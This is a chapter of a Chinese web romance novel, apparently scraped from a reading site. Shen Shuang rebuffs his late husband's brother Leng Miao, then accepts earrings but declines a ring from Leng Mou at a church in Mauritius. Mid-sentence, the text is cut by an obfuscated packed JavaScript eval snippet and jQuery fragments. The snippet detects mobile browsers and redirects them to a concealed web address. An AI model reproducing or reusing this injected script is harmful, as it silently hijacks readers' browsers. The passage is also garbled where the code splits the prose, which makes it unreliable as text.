默认冷灰
24号文字
方正启体

22. 兄弟的遗孀(22)

作者:半行诗本书字数:K更新时间:
    面对冷邈的挑衅,冷缪虽然愤怒,但也不屑。


    他的话语不算什么,拥有主导权的从来都是沈霜,沈霜的决定与回应才是重中之重。


    冷邈仍是那副势在必得的表情,像便宜货一样,对沈霜招手,再次重复方才说过的话,揽客似的,声音里带着磁性的缠绵。


    “我也可以很像冷绛。”


    出乎意料的,沈霜轻摇了摇头,看见冷邈神情的错愕,他勾着唇浅笑,“不好意思,大哥。”


    “我答应过他,不会这样对第二个人。”


    “您的试探对我没有用。”


    从徐丰年面前维护冷缪的那句话开始,冷邈在试探沈霜接近徐丰年的目的和意图。


    模仿冷绛的穿着、语气,试探冷绛在沈霜心中的地位,也试探冷缪在身上心里究竟有几分地位。


    冷邈喟叹一声,感叹道:“你真的很聪明。”


    吊着人心、吊着胃口,溪水一样潺潺流着,不至于干涸,但也不够填满饥渴的欲望。


    徐丰年得到他的仰慕,他得到沈霜的依赖,而冷缪得到的更多,得到了沈霜这个人。


    但没关系,他们都是他的垫脚石,用过之后毫不留情的抛弃,只是他还没有到被使用的时候。


    到那时候,沈霜也会对他说出独一无二的话语。


    冷缪欣喜若狂,大步走上前,将沈霜紧紧拥入怀中,结实的手臂带着不可遏制的颤抖,是兴奋与后怕。


    他轻吻着沈霜的额头,像一个得胜者,黑发下的眼睛里是发红的愤怒,厚重的爱欲。


    海浪在他们身旁起落,昏黄的路灯和月影交织,投下人影。


    柔软、干涩的唇贴着额头,一触即分。


    冷缪松开手,紧紧攥着拳,朝冷邈走过去,意图不言而喻。


    沈霜并不想看两人打的你死我活,他大力拽着冷缪的手腕,将人拉回来,“别打架。”


    打架起来就太丑陋了,像个莽夫,那不符合沈霜的审美,会让他少几分耐心。


    迄今为止,沈霜见过打架时动作最赏心悦目的是冷绛。


    冷缪很顺着他,像一条乖狗,下巴抵在沈霜肩膀,声音沉闷,旁若无人般说:“可是我很委屈。”


    沈霜安抚地抚摸着他的头发,一头发茬坚硬的直起,刺着手心。


    高大的怀抱将他揽进,脖颈交错,沈霜直勾勾盯着冷邈的眼,无声开口。


    直到两人乘着那辆敞篷车,从他身旁行驶而过,卷起的尘土与潮湿的海风钻进鼻腔,令他几近窒息,冷邈才辨认出沈霜那时说的是什么。


    “哥,您也想当狗吗?”


    半长的黑发透着光泽垂下,被海风卷起发丝,半眯的眼里是悱恻的温柔,饱满的唇曾被大力吮吸过,莹润的闪烁,像一只慵懒的猫。


    他甚至能幻想沈霜的语气,也是慵懒的,每一个字都仿佛下一秒就会睡下,倦怠的哑,尾音缠绵的拉长,卷着人陷入深潭之中,心甘情愿成为“困兽”。


    冷邈不想当狗,他要的是狗链拴在沈霜的脖颈上,他是手持狗链的人。


    当然,沈霜不是什么恶犬,只是聪明些、麻烦些的小狗,有茂密的毛发,不适合戴上狗链,精心梳理他的毛发,系上蕾丝的蝴蝶结更为合适。


    晚上九点半,冷邈一人走在大湾区的海岸旁,听着风声,思索该如何让这只宠物犬换主。


    冷缪开着车穿过高楼大厦的路,毛里求斯的城市边缘与国内没什么区别,拥挤在一起的平房,户外同绳子过铁丝搭起的衣架,挂着三两件未来得及收起的衣服。


    开上泥巴路,车身的陡峭变得明显起来,飞扬的尘土被甩在身后,两侧茂密的甘蔗快有一人高,似能闻到蔗糖鲜甜的香。


    车速变慢下来,冷缪捏着沈霜的脸颊,将他拉过来,鼻尖嗅闻着沈霜的唇,涎水银丝一样粘连在洁白齿尖。


    “你喝酒了?”冷缪问:“不是那个心怀不轨的老男人点的鲁旺。”


    “嗯。”沈霜点头,含混不清说:“黑朗姆混了可乐。”


    冷缪似有所感,“衣冠禽兽点的吧。”


    “是啊。”沈霜往后仰头,挣脱冷缪的手,“我们去哪?”


    “红顶教堂,我给你买了礼物。”冷缪声音发抖,不知是恐惧还是喜悦,但声音笃定,“你一定会喜欢。”


    最初,他以为沈霜沉闷、顺从,衣柜里多是浅色衣服,艳丽的颜色太少。


    后来他才发现,是自己知之甚少,沈霜喜欢艳丽的颜色,也偏爱亮闪的装饰。


    光是戒指就有不下百来种,只是平日鲜少穿戴。


    耳坠、耳骨也有保养极好的耳洞,光下透着嫩红颜色。


    大港到红顶教堂很近,从泥土路到石砖路,最明显的改变是车身颠簸减小。


    碧绿的海水在夜晚变成一种浓郁到近乎发黑的蓝色,夜晚的红顶教堂几乎没有人,三三两两徘徊在街道旁。


    红顶教堂并没有想象中的震撼,不算大,像个农场似的,敞篷车停在路边,冷缪牵着沈霜走上草地。


    墙壁的石缝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363124|168112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间是白色纹路,红色的尖顶鲜艳,两人走去教堂里面,排排棕色桌椅连接,走过中央的路,他们站在讲道台上。


    “你要送我什么礼物?”沈霜朝他伸出手,掌心朝上,索取的态度理所当然,“戒指?”


    “不是。”冷缪摇头,却又点点头,“有,附赠品。”


    “你闭上眼睛。”


    沈霜顺从的闭眼,睫毛投下一片浅色阴影。


    冷缪喉间干涸,喉结滚动,咽下一口口水,看着沈霜姣好的脸,几乎要克制不住吻上去。


    沈霜并不是雌雄莫辨的长相,他面部轮廓柔和,但五官立体、深邃,一眼就可以看出是男性,一双上挑的眼,漆黑的瞳仁吸魂摄魄,望上就逃不走了。


    视觉被蒙蔽,感官就具体起来。


    带着薄茧的手轻捏着他的耳垂,冰凉的耳钉从耳洞钻进去,旋好耳帽,却并未停下。那只手短暂的抽离,之后抬起他的手,一枚戒指套进无名指。


    “好、好了。”冷缪胆战心惊,怕的不敢看沈霜的眼。


    沈霜睁开眼,眸光看向无名指的戒指,又伸手去揉摁那枚耳坠,似是水母样式的,颗颗形状不规则的宝石串在一起,充当触手。


    “耳坠我很喜欢。”沈霜好笑地去抬冷缪的脸,“怎么害羞了?”


    冷缪声音颤颤巍巍,支支吾吾竟好半晌才说出一句完整的话,“真、真的吗?你……喜欢就好。”


    紧绷的身体倏然放松,如释重负。


    沈霜两指搭在戒指两侧,声音里带着遗憾,“但戒指我不能接受。”


    冷缪紧紧抿着唇,神经又紧绷起来,料想过沈霜不会接受,可场景真正发生时,海啸山崩倾倒而来。


    指尖磋磨着,低下头,掩饰着内心的痛苦,缓了好久,才勉力露出一个苦笑,“没事,不接受也没关系。”


    沈霜脸上是笑着的,饱满的唇翕动,吐出的话和生锈的钝刀一样割着冷缪的心脏。


    “我答应过冷绛,只会戴他买的戒指。”


    冷绛,又是冷绛!


    冷缪红了眼,伸手拽着沈霜的衣角,低低呢喃,声音里带了啜泣,听去和哀求没两样。


    “沈霜,好痛啊。”


    像摔倒的孩子哭泣着扑进母亲的怀抱中,渴望沈霜能像以往数次那样,捧着他的脸,说他好可怜,给他一个抚慰疼痛的吻。


    可沈霜只笑,眼眸透出几分不清明,迷离的餍足,像一只慢条斯理食用着美味猫条的猫。


    是残忍的、不谙世事的天真。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)